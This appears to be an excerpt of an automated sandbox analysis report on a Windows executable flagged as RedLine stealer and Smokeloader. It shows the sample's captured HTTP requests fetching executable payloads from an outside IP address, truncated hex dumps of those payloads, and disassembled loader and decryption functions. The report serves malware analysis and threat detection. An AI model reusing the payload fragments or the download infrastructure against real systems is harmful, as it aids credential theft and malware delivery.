Dec 20, 2024 17:09:45.036248922 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:44 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49900	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:47.299411058 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:48.667067051 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49908	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:50.860157967 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:52.183794022 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:51 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49917	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:54.346875906 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:55.681081057 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:55 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49928	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:58.903223991 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:10:00.389307976 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 20, 2024 17:10:00.389434099 CET	224	IN	Data Raw: 00 00 0a 28 76 00 00 0a 2a 8a 02 7b 23 00 00 04 02 7b 23 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a a6 02 7b 1f 00 00 04 2c 0e 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2b 0c 02 02 7b 21 00 00 04 6f 6f 00 00 0a 02 28 32 Data Ascii: (v{#{#owox(+oy{,{ oo+{!oo(2z,{",{"o/(z((X[((X[((X[(q~(-(-(**~to(
Dec 20, 2024 17:10:00.389446020 CET	1236	IN	Data Raw: 33 00 00 06 02 74 13 00 00 01 17 6f b6 00 00 0a 2a 5e 28 b9 00 00 0a 72 e4 11 00 70 1b 6f ba 00 00 0a 15 31 02 17 2a 16 2a 3e 02 fe 15 10 00 00 02 02 03 7d 25 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a Data Ascii: 3to^(rpo1>}%(Co(D(E}%(F(E(&>}(Co(D}(F(E(&">}4{Eorprpo(j};({=
Dec 20, 2024 17:10:00.389549971 CET	1236	IN	Data Raw: 28 b7 00 00 06 2a 46 02 7b 63 00 00 04 6f ff 00 00 0a 74 11 00 00 01 2a 62 02 7b 63 00 00 04 03 6f 00 01 00 0a 02 73 fd 00 00 0a 6f e8 00 00 0a 2a 32 02 7b 64 00 00 04 6f 77 00 00 0a 2a 7e 02 7b 64 00 00 04 03 6f 79 00 00 0a 02 03 7d 5e 00 00 04 Data Ascii: (F{cotb{coso2{dow~{doy}^soF{dotb{doso2{eoN{eo(2{eoxR}[{eo{N>oo}N{X:}X
Dec 20, 2024 17:10:00.389563084 CET	1236	IN	Data Raw: 00 0a 2a 86 02 7b 84 00 00 04 6f 39 01 00 0a 02 28 07 01 00 06 6f 40 01 00 0a 6f 36 00 00 0a 6f 54 00 00 0a 2a 1e 02 7b 80 00 00 04 2a b6 02 7b 84 00 00 04 6f 39 01 00 0a 6f 42 01 00 0a 02 16 8d 65 00 00 01 7d 80 00 00 04 02 7b 83 00 00 04 72 a8 Data Ascii: {o9(o@o6oT{{o9oBe}{rpo2{o6{o2{of{o{oZ{orp(J{oo{6{o2{o*6{o
Dec 20, 2024 17:10:00.389810085 CET	1236	IN	Data Raw: 04 02 72 a8 0f 00 70 7d af 00 00 04 02 73 6d 01 00 0a 7d b0 00 00 04 02 28 1f 00 00 0a 02 03 7d ae 00 00 04 2a 56 02 1f 0a 7d b1 00 00 04 02 28 7d 00 00 0a 02 28 8d 01 00 06 2a 1e 02 7b b1 00 00 04 2a 22 02 03 7d b1 00 00 04 2a 1e 02 7b b2 00 00 Data Ascii: rp}sm}(}V}(}({"}{"}{,(w}{(y{((t{,{(y((u{,{(y((*z,{,{o/(v
Dec 20, 2024 17:10:00.389822960 CET	1236	IN	Data Raw: 02 6f 78 00 00 0a 6f 92 00 00 0a 2a 32 02 7b d7 00 00 04 6f bd 00 00 0a 2a 36 02 7b d7 00 00 04 03 6f c1 00 00 0a 2a 32 02 7b d7 00 00 04 6f 7c 01 00 0a 2a 36 02 7b d7 00 00 04 03 6f 7d 01 00 0a 2a 32 02 7b d7 00 00 04 6f 7e 01 00 0a 2a 36 02 7b Data Ascii: oxo2{o6{o2{o\|6{o}2{o~6{o6{o&v{rpo{o&>{(z,{,{o/(z*}{{(){{(){{()
Dec 20, 2024 17:10:00.389834881 CET	1236	IN	Data Raw: 0a 2a 3a 02 17 7d 0d 01 00 04 02 28 6d 02 00 06 2a 3a 02 16 7d 0d 01 00 04 02 28 6d 02 00 06 2a 4a 02 7b 15 01 00 04 02 6f d2 00 00 0a 6f d3 00 00 0a 2a 4a 02 7b 15 01 00 04 02 6f 78 00 00 0a 6f 92 00 00 0a 2a 32 02 7b 15 01 00 04 6f bd 00 00 0a Data Ascii: :}(m:}(mJ{ooJ{oxo2{ob{oso(,(ooo(f(ooo(z,{,{o/(z2}(}(}(r(
Dec 20, 2024 17:10:00.390152931 CET	1236	IN	Data Raw: 6f 74 00 00 0a 2a 3a 02 7b 2f 01 00 04 02 14 6f 74 00 00 0a 2a 3a 02 7b 2e 01 00 04 02 14 6f 74 00 00 0a 2a 1e 02 7b 43 01 00 04 2a 52 02 03 7d 43 01 00 04 02 02 7b 43 01 00 04 28 29 00 00 06 2a 1e 02 7b 3e 01 00 04 2a 32 02 7b 46 01 00 04 6f 78 Data Ascii: ot:{/ot:{.ot{CR}C{C(){>2{Fox6{Fo{?r{>,{Eoo}?{@r{>-{Eoo}@B(({C(){A({B(J{Foxo
Dec 20, 2024 17:10:00.390165091 CET	1236	IN	Data Raw: 2a 22 02 03 7d 76 01 00 04 2a 1e 02 7b 77 01 00 04 2a 22 02 03 7d 77 01 00 04 2a 1e 02 7b 78 01 00 04 2a 22 02 03 7d 78 01 00 04 2a 1e 02 7b 79 01 00 04 2a 22 02 03 7d 79 01 00 04 2a 1e 02 7b 7a 01 00 04 2a 22 02 03 7d 7a 01 00 04 2a 1e 02 7b 7b Data Ascii: "}v{w"}w{x"}x{y"}y{z"}z{{"}{{\|"}\|{}"}}{~"}~{"}{"}{"}{"}{"}("
Dec 20, 2024 17:10:00.509181976 CET	1236	IN	Data Raw: 2a 1e 02 7b bb 01 00 04 2a 22 02 03 7d bb 01 00 04 2a 1e 02 7b bc 01 00 04 2a 22 02 03 7d bc 01 00 04 2a 5a 02 7b c0 01 00 04 19 33 01 2a 02 28 e8 03 00 06 6f bf 00 00 0a 2a 96 02 28 e8 03 00 06 6f 73 00 00 0a 2c 0b 02 28 e8 03 00 06 6f 50 02 00 Data Ascii: {"}{"}Z{3(o(os,(oP(oQ{"}{"}{"}(("?"""?""sR({"}{"}{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49935	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:10:01.394768000 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:10:02.976751089 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:10:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-
Dec 20, 2024 17:10:02.976797104 CET	1236	IN	Data Raw: 61 02 7b 11 00 00 04 1b 8d 3c 00 00 01 25 16 09 6f 1f 00 00 0a a2 25 17 72 2f 01 00 70 a2 25 18 11 05 28 12 00 00 06 a2 25 19 72 33 01 00 70 a2 25 1a 11 04 28 12 00 00 06 a2 28 20 00 00 0a 6f 21 00 00 0a 02 7b 12 00 00 04 11 05 1f 64 6a 5a 11 04 Data Ascii: a{<%o%r/p%(%r3p%(( o!{djZ[("o#83^{<%o%r/p%(%r3p%(( o!{djZ[("o#+`3\{<%o%r/p%(%r3
Dec 20, 2024 17:10:02.976835012 CET	1236	IN	Data Raw: 7b 17 00 00 04 19 6f 48 00 00 0a 02 7b 17 00 00 04 16 6f 49 00 00 0a 02 7b 17 00 00 04 72 1d 02 00 70 6f 4a 00 00 0a 02 7b 17 00 00 04 28 4b 00 00 0a 6f 4c 00 00 0a 02 7b 17 00 00 04 28 4d 00 00 0a 6f 4e 00 00 0a 02 7b 17 00 00 04 72 35 02 00 70 Data Ascii: {oH{oI{rpoJ{(KoL{(MoN{r5p"AsOoP{(<oQ{rKpoRtPoS{oT{oU{oV{oW{oX{oY{#oZ{o
Dec 20, 2024 17:10:02.977195978 CET	1236	IN	Data Raw: 45 00 00 0a 02 7b 08 00 00 04 72 39 03 00 70 6f 21 00 00 0a 02 7b 09 00 00 04 28 46 00 00 0a 6f 47 00 00 0a 02 7b 09 00 00 04 28 3c 00 00 0a 6f 39 00 00 0a 02 7b 09 00 00 04 19 6f 48 00 00 0a 02 7b 09 00 00 04 16 6f 49 00 00 0a 02 7b 09 00 00 04 Data Ascii: E{r9po!{(FoG{(<o9{oH{oI{rqpoJ{(KoL{(MoN{r5p"AsOoP{(<oQ{rypoRtPoS{oT{oU{oV{oW
Dec 20, 2024 17:10:02.977230072 CET	1236	IN	Data Raw: 7b 0b 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 0b 00 00 04 72 47 04 00 70 6f 42 00 00 0a 02 7b 0b 00 00 04 20 2c 05 00 00 20 81 00 00 00 73 43 00 00 0a 6f 44 00 00 0a 02 7b 0b 00 00 04 1e 6f 45 00 00 0a 02 7b 0b 00 00 04 02 fe 06 Data Ascii: {s@oA{rGpoB{ , sCoD{oE{skol{oi{rUp"@AsOoP{Es>o?{s@oA{rwpoB{ #sCoD{oE{rpo!
Dec 20, 2024 17:10:02.977281094 CET	1236	IN	Data Raw: 0f 00 00 04 28 76 00 00 0a 6f 77 00 00 0a 02 7b 0f 00 00 04 20 67 02 00 00 1f 34 73 43 00 00 0a 6f 44 00 00 0a 02 7b 0f 00 00 04 1f 0d 6f 45 00 00 0a 02 7b 0f 00 00 04 16 6f 23 00 00 0a 02 7b 14 00 00 04 17 6f 69 00 00 0a 02 7b 14 00 00 04 72 35 Data Ascii: (vow{ g4sCoD{oE{o#{oi{r5p"dAsOoP{ s>o?{s@oA{rpoB{ *sCoD{oE{r-po!{(so9{ot
Dec 20, 2024 17:10:02.977385044 CET	776	IN	Data Raw: 02 7b 1a 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 1a 00 00 04 72 21 07 00 70 6f 42 00 00 0a 02 7b 1a 00 00 04 20 25 01 00 00 20 ee 00 00 00 73 43 00 00 0a 6f 44 00 00 0a 02 7b 1a 00 00 04 1a 6f 6f 00 00 0a 02 7b 1a 00 00 04 1b 6f Data Ascii: {s@oA{r!poB{ % sCoD{oo{op{oq{or{sgoh"A"As(( WsC((:{o;(:{o;(:{o;(
Dec 20, 2024 17:10:02.977420092 CET	1236	IN	Data Raw: 00 04 6f 34 00 00 0a 02 7b 28 00 00 04 6f 34 00 00 0a 02 7b 2c 00 00 04 6f 35 00 00 0a 02 28 34 00 00 0a 02 7b 1c 00 00 04 1b 6f 36 00 00 0a 02 7b 1c 00 00 04 02 6f 37 00 00 0a 02 7b 1d 00 00 04 28 6a 00 00 0a 6f 39 00 00 0a 02 7b 1d 00 00 04 6f Data Ascii: o4{(o4{,o5(4{o6{o7{(jo9{o:{o;{o:{o;{o:{ o;{(<o={s>o?{s@oA{rGpoB{ sCoD{
Dec 20, 2024 17:10:02.977529049 CET	1236	IN	Data Raw: 19 16 73 4f 00 00 0a 6f 50 00 00 0a 02 7b 27 00 00 04 28 3c 00 00 0a 6f 51 00 00 0a 02 7b 27 00 00 04 06 72 4b 02 00 70 6f 52 00 00 0a 74 50 00 00 01 6f 53 00 00 0a 02 7b 27 00 00 04 14 6f 54 00 00 0a 02 7b 27 00 00 04 14 6f 55 00 00 0a 02 7b 27 Data Ascii: sOoP{'(<oQ{'rKpoRtPoS{'oT{'oU{'oV{'oW{'oX{'oY{'#oZ{'o[{'#V@o\{'o]{' s>o?{'s@oA{'r
Dec 20, 2024 17:10:02.977564096 CET	1236	IN	Data Raw: 4c 00 00 0a 02 7b 25 00 00 04 28 4d 00 00 0a 6f 4e 00 00 0a 02 7b 25 00 00 04 72 35 02 00 70 22 00 00 04 41 16 19 16 73 4f 00 00 0a 6f 50 00 00 0a 02 7b 25 00 00 04 28 3c 00 00 0a 6f 51 00 00 0a 02 7b 25 00 00 04 06 72 79 03 00 70 6f 52 00 00 0a Data Ascii: L{%(MoN{%r5p"AsOoP{%(<oQ{%rypoRtPoS{%oT{%oU{%oV{%oW{%oX{%oY{%#oZ{%o[{%#V@o\{%o]{% s>
Dec 20, 2024 17:10:03.096767902 CET	1236	IN	Data Raw: 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 2b 00 00 04 72 6f 07 00 70 6f 42 00 00 0a 02 7b 2b 00 00 04 1f 70 1f 23 73 43 00 00 0a 6f 44 00 00 0a 02 7b 2b 00 00 04 18 6f 45 00 00 0a 02 7b 2b 00 00 04 72 7f 07 00 70 6f 21 00 00 0a 02 7b 2b Data Ascii: s@oA{+ropoB{+p#sCoD{+oE{+rpo!{+o{+,sgoh{* s>o?{s@oA{rpoB{ tsCoD{*oE{)oi{)rp"@A

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 3K6rBUOQ2z.exePID: 4204, Parent PID: 4056

General

Target ID:	0
Start time:	11:08:17
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\3K6rBUOQ2z.exe"
Imagebase:	0x400000
File size:	1'922'560 bytes
MD5 hash:	CD064ED63EB478D56C93D52CFE887DC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2703351422.0000000000F89000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5108, Parent PID: 4204

General

Target ID:	9
Start time:	12:56:18
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 1548
Imagebase:	0xe60000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 3K6rBUOQ2z.exePID: 4204, Parent PID: 4056COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	20.1%
Signature Coverage:	11.6%
Total number of Nodes:	1104
Total number of Limit Nodes:	23

Executed Functions

Function 00402C70 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 504
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402C96
SetLastError.KERNEL32(000000C1), ref: 00402CD8

Strings

ERROR_OUTOFMEMORY!, xrefs: 00402DEF
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402D4A
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402D38
DOS header size is not valid!, xrefs: 00402D09
Size is not valid!, xrefs: 00402C9C
alignedImageSize != AlignValueUp!, xrefs: 00402DB9
DOS header is not valid!, xrefs: 00402CC6
@, xrefs: 00402C8F
Section alignment invalid!, xrefs: 00402D5C

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorLast
String ID: @$DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!
API String ID: 1452528299-393758929
Opcode ID: a7ee295ea28172196232d939963434d58e5a2b4f3baf6ecdb48b764af0884dbc
Instruction ID: 68209fb506ae9b68e90255ee0055c9910cae7d9580854ddc7816d62818b51dcc
Opcode Fuzzy Hash: a7ee295ea28172196232d939963434d58e5a2b4f3baf6ecdb48b764af0884dbc
Instruction Fuzzy Hash: 3E129C71B002159BDB14CF98D985BAEBBB5BF48304F14416AE809BB3C1D7B8ED41CB98

Function 004034C0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,44415B80), ref: 00403540
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403564
_mbstowcs.LIBCMT ref: 004035B7
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004035CE
GetLastError.KERNEL32 ref: 004035D8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 00403600
GetLastError.KERNEL32 ref: 0040360A
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040361A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004036DC
CryptDestroyKey.ADVAPI32(?), ref: 0040374E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040351C

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease_mbstowcs
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3642901890-63410773
Opcode ID: b9aca645bf8e0e24d310163d35795d59eee685dab11f25e4e54b3c0023d62c89
Instruction ID: 057eae88fc1e8b42dc2b0b13f8460ebd140b44a30a8541124d595f3772e2d34e
Opcode Fuzzy Hash: b9aca645bf8e0e24d310163d35795d59eee685dab11f25e4e54b3c0023d62c89
Instruction Fuzzy Hash: 4D8182B1A00218AFEF248F25CC45B9ABBB9EF45304F1081BAE50DE7291DB359E858F55

Function 00402950 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 004029F8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402A0D
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402A1B
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402A36
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402A55
LocalFree.KERNEL32(00000000), ref: 00402A62
LocalFree.KERNEL32(?), ref: 00402A67

Strings

%s: %s, xrefs: 00402A46
Error protecting memory page, xrefs: 00402A41

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: 2c46ffc98d029cfadbc5bd6c783c679e7e34e813f473582b7efecdd829900f05
Instruction ID: 2da31f80489fd9465a3e1d2b594a5759e7c0520832ca97f04c55df17c8a78757
Opcode Fuzzy Hash: 2c46ffc98d029cfadbc5bd6c783c679e7e34e813f473582b7efecdd829900f05
Instruction Fuzzy Hash: 0831F272B00114AFDB14DF58DC44FAAB7A8FF48304F0541AAE905EB291DA75AD12CA88

Function 00401880 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 00401905
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 00401924

Strings

text, xrefs: 00401B5C

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 87aac4e3b5ff56ab0de5e0ee71ca196cf257f89e2ae9c22cdb46c2756a6c72d5
Instruction ID: 86dcce6fdabdf1d76a3839b2d4c7acaf7fb3a9f1032210a7d38a4a94718e3fd4
Opcode Fuzzy Hash: 87aac4e3b5ff56ab0de5e0ee71ca196cf257f89e2ae9c22cdb46c2756a6c72d5
Instruction Fuzzy Hash: 7AC16B71A002189FEB25CF24CD85BEAB7B9FF48304F1041ADE509A76A1DB75AE84CF54

Function 0040EF0D Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0040EF0C,00000000,771ADF80,?,00000000,?,004114AD), ref: 0040EF2F
